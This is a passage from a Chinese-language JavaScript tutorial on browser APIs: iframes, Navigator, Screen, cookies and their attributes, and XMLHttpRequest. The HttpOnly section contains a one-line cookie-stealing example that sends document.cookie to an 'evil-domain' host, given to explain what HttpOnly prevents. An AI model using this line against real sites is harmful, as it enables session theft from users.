与这些变量对应,浏览器还提供一些特殊的窗口名,供window.open()方法、<a>标签、<form>标签等引用。

  • _top:顶层窗口
  • _parent:父窗口
  • _blank:新窗口

下面代码就表示在顶层窗口打开链接。

1
<a href="somepage.html" target="_top">Link</a>

iframe 元素

对于iframe嵌入的窗口,document.getElementById方法可以拿到该窗口的 DOM 节点,然后使用contentWindow属性获得iframe节点包含的window对象。

1
2
var frame = document.getElementById('theFrame');
var frameWindow = frame.contentWindow;

上面代码中,frame.contentWindow可以拿到子窗口的window对象。然后,在满足同源限制的情况下,可以读取子窗口内部的属性。

1
2
// 获取子窗口的标题
frameWindow.title

<iframe>元素的contentDocument属性,可以拿到子窗口的document对象。

1
2
3
4
5
var frame = document.getElementById('theFrame');
var frameDoc = frame.contentDocument;

// 等同于
var frameDoc = frame.contentWindow.document;

<iframe>元素遵守同源政策,只有当父窗口与子窗口在同一个域时,两者之间才可以用脚本通信,否则只有使用window.postMessage方法。

<iframe>窗口内部,使用window.parent引用父窗口。如果当前页面没有父窗口,则window.parent属性返回自身。因此,可以通过window.parent是否等于window.self,判断当前窗口是否为iframe窗口。

1
2
3
if (window.parent !== window.self) {
// 当前窗口是子窗口
}

<iframe>窗口的window对象,有一个frameElement属性,返回<iframe>在父窗口中的 DOM 节点。对于非嵌入的窗口,该属性等于null

1
2
3
4
5
var f1Element = document.getElementById('f1');
var f1Window = f1Element.contentWindow;

f1Window.frameElement === f1Element // true
window.frameElement === null // true

window.frames 属性

window.frames属性返回一个类似数组的对象,成员是所有子窗口的window对象。可以使用这个属性,实现窗口之间的互相引用。比如,frames[0]返回第一个子窗口,frames[1].frames[2]返回第二个子窗口内部的第三个子窗口,parent.frames[1]返回父窗口的第二个子窗口。

注意,window.frames每个成员的值,是框架内的窗口(即框架的window对象),而不是iframe标签在父窗口的 DOM 节点。如果要获取每个框架内部的 DOM 树,需要使用window.frames[0].document的写法。

另外,如果<iframe>元素设置了nameid属性,那么属性值会自动成为全局变量,并且可以通过window.frames属性引用,返回子窗口的window对象。

1
2
3
// HTML 代码为 <iframe id="myFrame">
window.myFrame // [HTMLIFrameElement]
frames.myframe === myFrame // true

另外,name属性的值会自动成为子窗口的名称,可以用在window.open方法的第二个参数,或者<a><frame>标签的target属性。

window.navigator属性指向一个包含浏览器和系统信息的 Navigator 对象。脚本通过这个属性了解用户的环境信息。

navigator.userAgent属性返回浏览器的 User Agent 字符串,表示浏览器的厂商和版本信息。

下面是 Chrome 浏览器的userAgent

1
2
navigator.userAgent
// "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36"

通过userAgent属性识别浏览器,不是一个好办法。因为必须考虑所有的情况(不同的浏览器,不同的版本),非常麻烦,而且用户可以改变这个字符串。这个字符串的格式并无统一规定,也无法保证未来的适用性,各种上网设备层出不穷,难以穷尽。所以,现在一般不再通过它识别浏览器了,而是使用“功能识别”方法,即逐一测试当前浏览器是否支持要用到的 JavaScript 功能。

不过,通过userAgent可以大致准确地识别手机浏览器,方法就是测试是否包含mobi字符串。

1
2
3
4
5
6
7
var ua = navigator.userAgent.toLowerCase();

if (/mobi/i.test(ua)) {
// 手机浏览器
} else {
// 非手机浏览器
}

如果想要识别所有移动设备的浏览器,可以测试更多的特征字符串。

1
/mobi|android|touch|mini/i.test(ua)

Navigator.plugins属性返回一个类似数组的对象,成员是 Plugin 实例对象,表示浏览器安装的插件,比如 Flash、ActiveX 等。

1
2
3
4
5
6
7
8
var pluginsLength = navigator.plugins.length;

for (var i = 0; i < pluginsLength; i++) {
console.log(navigator.plugins[i].name);
console.log(navigator.plugins[i].filename);
console.log(navigator.plugins[i].description);
console.log(navigator.plugins[i].version);
}

Navigator.platform属性返回用户的操作系统信息,比如MacIntelWin32Linux x86_64等 。

1
2
navigator.platform
// "Linux x86_64"

navigator.onLine属性返回一个布尔值,表示用户当前在线还是离线(浏览器断线)。

1
navigator.onLine // true

有时,浏览器可以连接局域网,但是局域网不能连通外网。这时,有的浏览器的onLine属性会返回true,所以不能假定只要是true,用户就一定能访问互联网。不过,如果是false,可以断定用户一定离线。

用户变成在线会触发online事件,变成离线会触发offline事件,可以通过window.ononlinewindow.onoffline指定这两个事件的回调函数。

1
2
window.addEventListener('offline', function(e) { console.log('offline'); });
window.addEventListener('online', function(e) { console.log('online'); });

Navigator.language属性返回一个字符串,表示浏览器的首选语言。该属性只读。

1
navigator.language // "en"

Navigator.languages属性返回一个数组,表示用户可以接受的语言。Navigator.language总是这个数组的第一个成员。HTTP 请求头信息的Accept-Language字段,就来自这个数组。

1
navigator.languages  // ["en-US", "en", "zh-CN", "zh", "zh-TW"]

如果这个属性发生变化,就会在window对象上触发languagechange事件。

Navigator.geolocation属性返回一个 Geolocation 对象,包含用户地理位置的信息。注意,该 API 只有在 HTTPS 协议下可用,否则调用下面方法时会报错。

Geolocation 对象提供下面三个方法。

  • Geolocation.getCurrentPosition():得到用户的当前位置
  • Geolocation.watchPosition():监听用户位置变化
  • Geolocation.clearWatch():取消watchPosition()方法指定的监听函数

注意,调用这三个方法时,浏览器会跳出一个对话框,要求用户给予授权。

Navigator.cookieEnabled属性返回一个布尔值,表示浏览器的 Cookie 功能是否打开。

1
navigator.cookieEnabled // true

注意,这个属性反映的是浏览器总的特性,与是否储存某个具体的网站的 Cookie 无关。用户可以设置某个网站不得储存 Cookie,这时cookieEnabled返回的还是true

Navigator.javaEnabled()方法返回一个布尔值,表示浏览器是否能运行 Java Applet 小程序。

1
navigator.javaEnabled() // false

Navigator.sendBeacon()方法用于向服务器异步发送数据,详见《XMLHttpRequest 对象》一章。

Screen 对象

Screen 对象表示当前窗口所在的屏幕,提供显示设备的信息。window.screen属性指向这个对象。

该对象有下面的属性。

  • Screen.height:浏览器窗口所在的屏幕的高度(单位像素)。除非调整显示器的分辨率,否则这个值可以看作常量,不会发生变化。显示器的分辨率与浏览器设置无关,缩放网页并不会改变分辨率。
  • Screen.width:浏览器窗口所在的屏幕的宽度(单位像素)。
  • Screen.availHeight:浏览器窗口可用的屏幕高度(单位像素)。因为部分空间可能不可用,比如系统的任务栏或者 Mac 系统屏幕底部的 Dock 区,这个属性等于height减去那些被系统组件的高度。
  • Screen.availWidth:浏览器窗口可用的屏幕宽度(单位像素)。
  • Screen.pixelDepth:整数,表示屏幕的色彩位数,比如24表示屏幕提供24位色彩。
  • Screen.colorDepthScreen.pixelDepth的别名。严格地说,colorDepth 表示应用程序的颜色深度,pixelDepth 表示屏幕的颜色深度,绝大多数情况下,它们都是同一件事。
  • Screen.orientation:返回一个对象,表示屏幕的方向。该对象的type属性是一个字符串,表示屏幕的具体方向,landscape-primary表示横放,landscape-secondary表示颠倒的横放,portrait-primary表示竖放,portrait-secondary

下面是Screen.orientation的例子。

1
2
window.screen.orientation
// { angle: 0, type: "landscape-primary", onchange: null }

下面的例子保证屏幕分辨率大于 1024 x 768。

1
2
3
if (window.screen.width >= 1024 && window.screen.height >= 768) {
// 分辨率不低于 1024x768
}

下面是根据屏幕的宽度,将用户导向不同网页的代码。

1
2
3
4
5
if ((screen.width <= 800) && (screen.height <= 600)) {
window.location.replace('small.html');
} else {
window.location.replace('wide.html');
}

概述

Cookie 是服务器保存在浏览器的一小段文本信息,每个 Cookie 的大小一般不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。

Cookie 主要用来分辨两个请求是否来自同一个浏览器,以及用来保存一些状态信息。它的常用场合有以下一些。

  • 对话(session)管理:保存登录、购物车等需要记录的信息。
  • 个性化:保存用户的偏好,比如网页的字体大小、背景色等等。
  • 追踪:记录和分析用户行为。

有些开发者使用 Cookie 作为客户端储存。这样做虽然可行,但是并不推荐,因为 Cookie 的设计目标并不是这个,它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。

Cookie 包含以下几方面的信息。

  • Cookie 的名字
  • Cookie 的值(真正的数据写在这里面)
  • 到期时间
  • 所属域名(默认是当前域名)
  • 生效的路径(默认是当前网址)

举例来说,用户访问网址www.example.com,服务器在浏览器写入一个 Cookie。这个 Cookie 就会包含www.example.com这个域名,以及根路径/。这意味着,这个 Cookie 对该域名的根路径和它的所有子路径都有效。如果路径设为/forums,那么这个 Cookie 只有在访问www.example.com/forums及其子路径时才有效。以后,浏览器一旦访问这个路径,浏览器就会附上这段 Cookie 发送给服务器。

浏览器可以设置不接受 Cookie,也可以设置不向服务器发送 Cookie。window.navigator.cookieEnabled属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。

1
2
// 浏览器是否打开 Cookie 功能
window.navigator.cookieEnabled // true

document.cookie属性返回当前网页的 Cookie。

1
2
// 当前网页的 Cookie
document.cookie

不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过4KB。超过限制以后,Cookie 将被忽略,不会被设置。

浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie(参见《同源政策》一章)。注意,这里不要求协议相同。也就是说,http://example.com设置的 Cookie,可以被https://example.com读取。

Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。

HTTP 回应:Cookie 的生成

服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie字段。

1
Set-Cookie:foo=bar

上面代码会在浏览器保存一个名为foo的 Cookie,它的值为bar

HTTP 回应可以包含多个Set-Cookie字段,即在浏览器生成多个 Cookie。下面是一个例子。

1
2
3
4
5
6
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值,Set-Cookie字段还可以附加 Cookie 的属性。

1
2
3
4
5
6
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

上面的几个属性的含义,将在后文解释。

一个Set-Cookie字段里面,可以同时包括多个属性,没有次序的要求。

1
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

下面是一个例子。

1
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

如果服务器想改变一个早先设置的 Cookie,必须同时满足四个条件:Cookie 的keydomainpathsecure都匹配。举例来说,如果原始的 Cookie 是用如下的Set-Cookie设置的。

1
Set-Cookie: key1=value1; domain=example.com; path=/blog

改变上面这个 Cookie 的值,就必须使用同样的Set-Cookie

1
Set-Cookie: key1=value2; domain=example.com; path=/blog

只要有一个属性不同,就会生成一个全新的 Cookie,而不是替换掉原来那个 Cookie。

1
Set-Cookie: key1=value2; domain=example.com; path=/

上面的命令设置了一个全新的同名 Cookie,但是path属性不一样。下一次访问example.com/blog的时候,浏览器将向服务器发送两个同名的 Cookie。

1
Cookie: key1=value1; key1=value2

上面代码的两个 Cookie 是同名的,匹配越精确的 Cookie 排在越前面。

HTTP 请求:Cookie 的发送

浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie字段。

1
Cookie: foo=bar

上面代码会向服务器发送名为foo的 Cookie,值为bar

Cookie字段可以包含多个 Cookie,使用分号(;)分隔。

1
Cookie: name=value; name2=value2; name3=value3

下面是一个例子。

1
2
3
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服务器收到浏览器发来的 Cookie 时,有两点是无法知道的。

  • Cookie 的各种属性,比如何时过期。
  • 哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的。

Expires,Max-Age

Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。

1
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果不设置该属性,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。

Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。

如果同时指定了ExpiresMax-Age,那么Max-Age的值将优先生效。

如果Set-Cookie字段没有指定ExpiresMax-Age属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。

Domain,Path

Domain属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 Cookie。比如,example.com不设置 Cookie 的domain属性,那么sub.example.com将不会附带这个 Cookie。如果指定了domain属性,那么子域名也会附带这个 Cookie。如果服务器指定的域名不属于当前域名,浏览器会拒绝这个 Cookie。

Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH属性是/,那么请求/docs路径也会包含该 Cookie。当然,前提是域名必须一致。

Secure,HttpOnly

Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。

HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。

1
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性,上面代码就不会读到该 Cookie。

document.cookie

document.cookie属性用于读写当前网页的 Cookie。

读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有HTTPOnly属性。

1
document.cookie // "foo=bar;baz=bar"

上面代码从document.cookie一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。

1
2
3
4
5
6
7
var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar

document.cookie属性是可写的,可以通过它为当前网站添加 Cookie。

1
document.cookie = 'fontSize=14';

写入的时候,Cookie 的值必须写成key=value的形式。注意,等号两边不能有空格。另外,写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用encodeURIComponent方法达到。

但是,document.cookie一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。

1
2
3
4
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world

document.cookie读写行为的差异(一次可以读出全部 Cookie,但是只能写入一个 Cookie),与 HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候,Cookie字段是使用一行将所有 Cookie 全部发送;服务器向浏览器设置 Cookie 的时候,Set-Cookie字段是一行设置一个 Cookie。

写入 Cookie 的时候,可以一起写入 Cookie 的属性。

1
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";

上面代码中,写入 Cookie 的时候,同时设置了expires属性。属性值的等号两边,也是不能有空格的。

各个属性的写入注意点如下。

  • path属性必须为绝对路径,默认为当前路径。
  • domain属性值必须是当前发送 Cookie 的域名的一部分。比如,当前域名是example.com,就不能将其设为foo.com。该属性默认为当前的一级域名(不含二级域名)。
  • max-age属性的值为秒数。
  • expires属性的值为 UTC 格式,可以使用Date.prototype.toUTCString()进行日期格式转换。

document.cookie写入 Cookie 的例子如下。

1
2
3
4
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=*.example.com';

Cookie 的属性一旦设置完成,就没有办法读取这些属性的值。

删除一个现存 Cookie 的唯一方法,是设置它的expires属性为一个过去的日期。

1
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';

上面代码中,名为fontSize的 Cookie 的值为空,过期时间设为1970年1月1月零点,就等同于删除了这个 Cookie。

参考链接

XMLHttpRequest 对象

简介

浏览器与服务器之间,采用 HTTP 协议通信。用户在浏览器地址栏键入一个网址,或者通过网页表单向服务器提交内容,这时浏览器就会向服务器发出 HTTP 请求。

1999年,微软公司发布 IE 浏览器5.0版,第一次引入新功能:允许 JavaScript 脚本向服务器发起 HTTP 请求。这个功能当时并没有引起注意,直到2004年 Gmail 发布和2005年 Google Map 发布,才引起广泛重视。2005年2月,AJAX 这个词第一次正式提出,它是 Asynchronous JavaScript and XML 的缩写,指的是通过 JavaScript 的异步通信,从服务器获取 XML 文档从中提取数据,再更新当前网页的对应部分,而不用刷新整个网页。后来,AJAX 这个词就成为 JavaScript 脚本发起 HTTP 通信的代名词,也就是说,只要用脚本发起通信,就可以叫做 AJAX 通信。W3C 也在2006年发布了它的国际标准。

具体来说,AJAX 包括以下几个步骤。

  1. 创建 XMLHttpRequest 实例
  2. 发出 HTTP 请求
  3. 接收服务器传回的数据
  4. 更新网页数据

概括起来,就是一句话,AJAX 通过原生的XMLHttpRequest对象发出 HTTP 请求,得到服务器返回的数据后,再进行处理。现在,服务器返回的都是 JSON 格式的数据,XML 格式已经过时了,但是 AJAX 这个名字已经成了一个通用名词,字面含义已经消失了。

XMLHttpRequest对象是 AJAX 的主要接口,用于浏览器与服务器之间的通信。尽管名字里面有XMLHttp,它实际上可以使用多种协议(比如fileftp),发送任何格式的数据(包括字符串和二进制)。

XMLHttpRequest本身是一个构造函数,可以使用new命令生成实例。它没有任何参数。

1
var xhr = new XMLHttpRequest();

一旦新建实例,就可以使用open()方法指定建立 HTTP 连接的一些细节。

1
xhr.open('GET', 'http://www.example.com/page.php', true);

上面代码指定使用 GET 方法,跟指定的服务器网址建立连接。第三个参数true,表示请求是异步的。

然后,指定回调函数,监听通信状态(readyState属性)的变化。

1
2
3
4
5
xhr.onreadystatechange = handleStateChange;

function handleStateChange() {
// ...
}

上面代码中,一旦XMLHttpRequest实例的状态发生变化,就会调用监听函数handleStateChange

最后使用send()方法,实际发出请求。

1
xhr.send(null);

上面代码中,send()的参数为null,表示发送请求的时候,不带有数据体。如果发送的是 POST 请求,这里就需要指定数据体。

一旦拿到服务器返回的数据,AJAX 不会刷新整个网页,而是只更新网页里面的相关部分,从而不打断用户正在做的事情。

注意,AJAX 只能向同源网址(协议、域名、端口都相同)发出 HTTP 请求,如果发出跨域请求,就会报错(详见《同源政策》和《CORS 通信》两章)。

下面是XMLHttpRequest对象简单用法的完整例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function(){
// 通信成功时,状态值为4
if (xhr.readyState === 4){
if (xhr.status === 200){
console.log(xhr.responseText);
} else {
console.error(xhr.statusText);
}
}
};

xhr.onerror = function (e) {
console.error(xhr.statusText);
};

xhr.open('GET', '/endpoint', true);
xhr.send(null);

XMLHttpRequest 的实例属性

XMLHttpRequest.readyState

XMLHttpRequest.readyState返回一个整数,表示实例对象的当前状态。该属性只读。它可能返回以下值。

  • 0,表示 XMLHttpRequest 实例已经生成,但是实例的open()方法还没有被调用。
  • 1,表示open()方法已经调用,但是实例的send()方法还没有调用,仍然可以使用实例的setRequestHeader()方法,设定 HTTP 请求的头信息。
  • 2,表示实例的send()方法已经调用,并且服务器返回的头信息和状态码已经收到。
  • 3,表示正在接收服务器传来的数据体(body 部分)。这时,如果实例的responseType属性等于text或者空字符串,responseText属性就会包含已经收到的部分信息。
  • 4,表示服务器返回的数据已经完全接收,或者本次接收已经失败。

通信过程中,每当实例对象发生状态变化,它的readyState属性的值就会改变。这个值每一次变化,都会触发readyStateChange事件。

1
2
3
4
5
6
7
var xhr = new XMLHttpRequest();

if (xhr.readyState === 4) {
  // 请求结束,处理服务器返回的数据
} else {
  // 显示提示“加载中……”
}

上面代码中,xhr.readyState等于4时,表明脚本发出的 HTTP 请求已经完成。其他情况,都表示 HTTP 请求还在进行中。

XMLHttpRequest.onreadystatechange

XMLHttpRequest.onreadystatechange属性指向一个监听函数。readystatechange事件发生时(实例的readyState属性变化),就会执行这个属性。

另外,如果使用实例的abort()方法,终止 XMLHttpRequest 请求,也会造成readyState属性变化,导致调用XMLHttpRequest.onreadystatechange属性。

下面是一个例子。

1
2
3
4
5
6
7
8
9
var xhr = new XMLHttpRequest();
xhr.open( 'GET', 'http://example.com' , true );
xhr.onreadystatechange = function () {
if (xhr.readyState !== 4 || xhr.status !== 200) {
return;
}
console.log(xhr.responseText);
};
xhr.send();

XMLHttpRequest.response

XMLHttpRequest.response属性表示服务器返回的数据体(即 HTTP 回应的 body 部分)。它可能是任何数据类型,比如字符串、对象、二进制对象等等,具体的类型由XMLHttpRequest.responseType属性决定。该属性只读。

如果本次请求没有成功或者数据不完整,该属性等于null。但是,如果responseType属性等于text或空字符串,在请求没有结束之前(readyState等于3的阶段),response属性包含服务器已经返回的部分数据。

1
2
3
4
5
6
7
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
handler(xhr.response);
}
}

XMLHttpRequest.responseType

XMLHttpRequest.responseType属性是一个字符串,表示服务器返回数据的类型。这个属性是可写的,可以在调用open()方法之后、调用send()方法之前,设置这个属性的值,告诉服务器返回指定类型的数据。如果responseType设为空字符串,就等同于默认值text

XMLHttpRequest.responseType属性可以等于以下值。

  • “”(空字符串):等同于text,表示服务器返回文本数据。
  • “arraybuffer”:ArrayBuffer 对象,表示服务器返回二进制数组。
  • “blob”:Blob 对象,表示服务器返回二进制对象。
  • “document”:Document 对象,表示服务器返回一个文档对象。
  • “json”:JSON 对象。
  • “text”:字符串。

上面几种类型之中,text类型适合大多数情况,而且直接处理文本也比较方便。document类型适合返回 HTML / XML 文档的情况,这意味着,对于那些打开 CORS 的网站,可以直接用 Ajax 抓取网页,然后不用解析 HTML 字符串,直接对抓取回来的数据进行 DOM 操作。blob类型适合读取二进制数据,比如图片文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'blob';

xhr.onload = function(e) {
if (this.status === 200) {
var blob = new Blob([xhr.response], {type: 'image/png'});
// 或者
var blob = xhr.response;
}
};

xhr.send();

如果将这个属性设为ArrayBuffer,就可以按照数组的方式处理二进制数据。

1
2
3
4
5
6
7
8
9
10
11
12
var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'arraybuffer';

xhr.onload = function(e) {
var uInt8Array = new Uint8Array(this.response);
for (var i = 0, len = uInt8Array.length; i < len; ++i) {
// var byte = uInt8Array[i];
}
};

xhr.send();

如果将这个属性设为json,浏览器就会自动对返回数据调用JSON.parse()方法。也就是说,从xhr.response属性(注意,不是xhr.responseText属性)得到的不是文本,而是一个 JSON 对象。

XMLHttpRequest.responseText

XMLHttpRequest.responseText属性返回从服务器接收到的字符串,该属性为只读。只有 HTTP 请求完成接收以后,该属性才会包含完整的数据。

1
2
3
4
5
6
7
8
9
10
11
var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);

xhr.responseType = 'text';
xhr.onload = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
console.log(xhr.responseText);
}
};

xhr.send(null);

XMLHttpRequest.responseXML

XMLHttpRequest.responseXML属性返回从服务器接收到的 HTML 或 XML 文档对象,该属性为只读。如果本次请求没有成功,或者收到的数据不能被解析为 XML 或 HTML,该属性等于null

该属性生效的前提是 HTTP 回应的Content-Type头信息等于text/xmlapplication/xml。这要求在发送请求前,XMLHttpRequest.responseType属性要设为document。如果 HTTP 回应的Content-Type头信息不等于text/xmlapplication/xml,但是想从responseXML拿到数据(即把数据按照 DOM 格式解析),那么需要手动调用XMLHttpRequest.overrideMimeType()方法,强制进行 XML 解析。

该属性得到的数据,是直接解析后的文档 DOM 树。

1
2
3
4
5
6
7
8
9
10
11
12
13
var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);

xhr.responseType = 'document';
xhr.overrideMimeType('text/xml');

xhr.onload = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
console.log(xhr.responseXML);
}
};

xhr.send(null);

XMLHttpRequest.responseURL

XMLHttpRequest.responseURL属性是字符串,表示发送数据的服务器的网址。

1
2
3
4
5
6
7
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/test', true);
xhr.onload = function () {
// 返回 http://example.com/test
console.log(xhr.responseURL);
};
xhr.send(null);

注意,这个属性的值与open()方法指定的请求网址不一定相同。如果服务器端发生跳转,这个属性返回最后实际返回数据的网址。另外,如果原始 URL 包括锚点(fragment),该属性会把锚点剥离。

XMLHttpRequest.status,XMLHttpRequest.statusText

XMLHttpRequest.status属性返回一个整数,表示服务器回应的 HTTP 状态码。一般来说,如果通信成功的话,这个状态码是200;如果服务器没有返回状态码,那么这个属性默认是200。请求发出之前,该属性为0。该属性只读。

  • 200, OK,访问正常
  • 301, Moved Permanently,永久移动
  • 302, Moved temporarily,暂时移动
  • 304, Not Modified,未修改
  • 307, Temporary Redirect,暂时重定向
  • 401, Unauthorized,未授权
  • 403, Forbidden,禁止访问
  • 404, Not Found,未发现指定网址
  • 500, Internal Server Error,服务器发生错误

基本上,只有2xx和304的状态码,表示服务器返回是正常状态。

1
2
3
4
5
6
7
8
if (xhr.readyState === 4) {
  if ( (xhr.status >= 200 && xhr.status < 300)
    || (xhr.status === 304) ) {
    // 处理服务器的返回数据
  } else {
    // 出错
  }
}

XMLHttpRequest.statusText属性返回一个字符串,表示服务器发送的状态提示。不同于status属性,该属性包含整个状态信息,比如“OK”和“Not Found”。在请求发送之前(即调用open()方法之前),该属性的值是空字符串;如果服务器没有返回状态提示,该属性的值默认为“OK”。该属性为只读属性。

XMLHttpRequest.timeout,XMLHttpRequestEventTarget.ontimeout

XMLHttpRequest.timeout属性返回一个整数,表示多少毫秒后,如果请求仍然没有得到结果,就会自动终止。如果该属性等于0,就表示没有时间限制。

XMLHttpRequestEventTarget.ontimeout属性用于设置一个监听函数,如果发生 timeout 事件,就会执行这个监听函数。

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var xhr = new XMLHttpRequest();
var url = '/server';

xhr.ontimeout = function () {
console.error('The request for ' + url + ' timed out.');
};

xhr.onload = function() {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
// 处理服务器返回的数据
} else {
console.error(xhr.statusText);
}
}
};

xhr.open('GET', url, true);
// 指定 10 秒钟超时
xhr.timeout = 10 * 1000;
xhr.send(null);

事件监听属性

XMLHttpRequest 对象可以对以下事件指定监听函数。

  • XMLHttpRequest.onloadstart:loadstart 事件(HTTP 请求发出)的监听函数
  • XMLHttpRequest.onprogress:progress事件(正在发送和加载数据)的监听函数
  • XMLHttpRequest.onabort:abort 事件(请求中止,比如用户调用了abort()方法)的监听函数
  • XMLHttpRequest.onerror:error 事件(请求失败)的监听函数
  • XMLHttpRequest.onload:load 事件(请求成功完成)的监听函数
  • XMLHttpRequest.ontimeout:timeout 事件(用户指定的时限超过了,请求还未完成)的监听函数
  • XMLHttpRequest.onloadend:loadend 事件(请求完成,不管成功或失败)的监听函数

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
xhr.onload = function() {
var responseText = xhr.responseText;
console.log(responseText);
// process the response.
};

xhr.onabort = function () {
console.log('The request was aborted');
};

xhr.onprogress = function (event) {
console.log(event.loaded);
console.log(event.total);
};

xhr.onerror = function() {
console.log('There was an error!');
};

progress事件的监听函数有一个事件对象参数,该对象有三个属性:loaded属性返回已经传输的数据量,total属性返回总的数据量,lengthComputable属性返回一个布尔值,表示加载的进度是否可以计算。所有这些监听函数里面,只有progress事件的监听函数有参数,其他函数都没有参数。

注意,如果发生网络错误(比如服务器无法连通),onerror事件无法获取报错信息。也就是说,可能没有错误对象,所以这样只能显示报错的提示。

XMLHttpRequest.withCredentials

XMLHttpRequest.withCredentials属性是一个布尔值,表示跨域请求时,用户信息(比如 Cookie 和认证的 HTTP 头信息)是否会包含在请求之中,默认为false,即向example.com发出跨域请求时,不会发送example.com设置在本机上的 Cookie(如果有的话)。

如果需要跨域 AJAX 请求发送 Cookie,需要withCredentials属性设为true。注意,同源的请求不需要设置这个属性。

1
2
3
4
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

为了让这个属性生效,服务器必须显式返回Access-Control-Allow-Credentials这个头信息。

1
Access-Control-Allow-Credentials: true

withCredentials属性打开的话,跨域请求不仅会发送 Cookie,还会设置远程主机指定的 Cookie。反之也成立,如果withCredentials属性没有打开,那么跨域的 AJAX 请求即使明确要求浏览器设置 Cookie,浏览器也会忽略。

注意,脚本总是遵守同源政策,无法从document.cookie或者 HTTP 回应的头信息之中,读取跨域的 Cookie,withCredentials属性不影响这一点。

XMLHttpRequest.upload

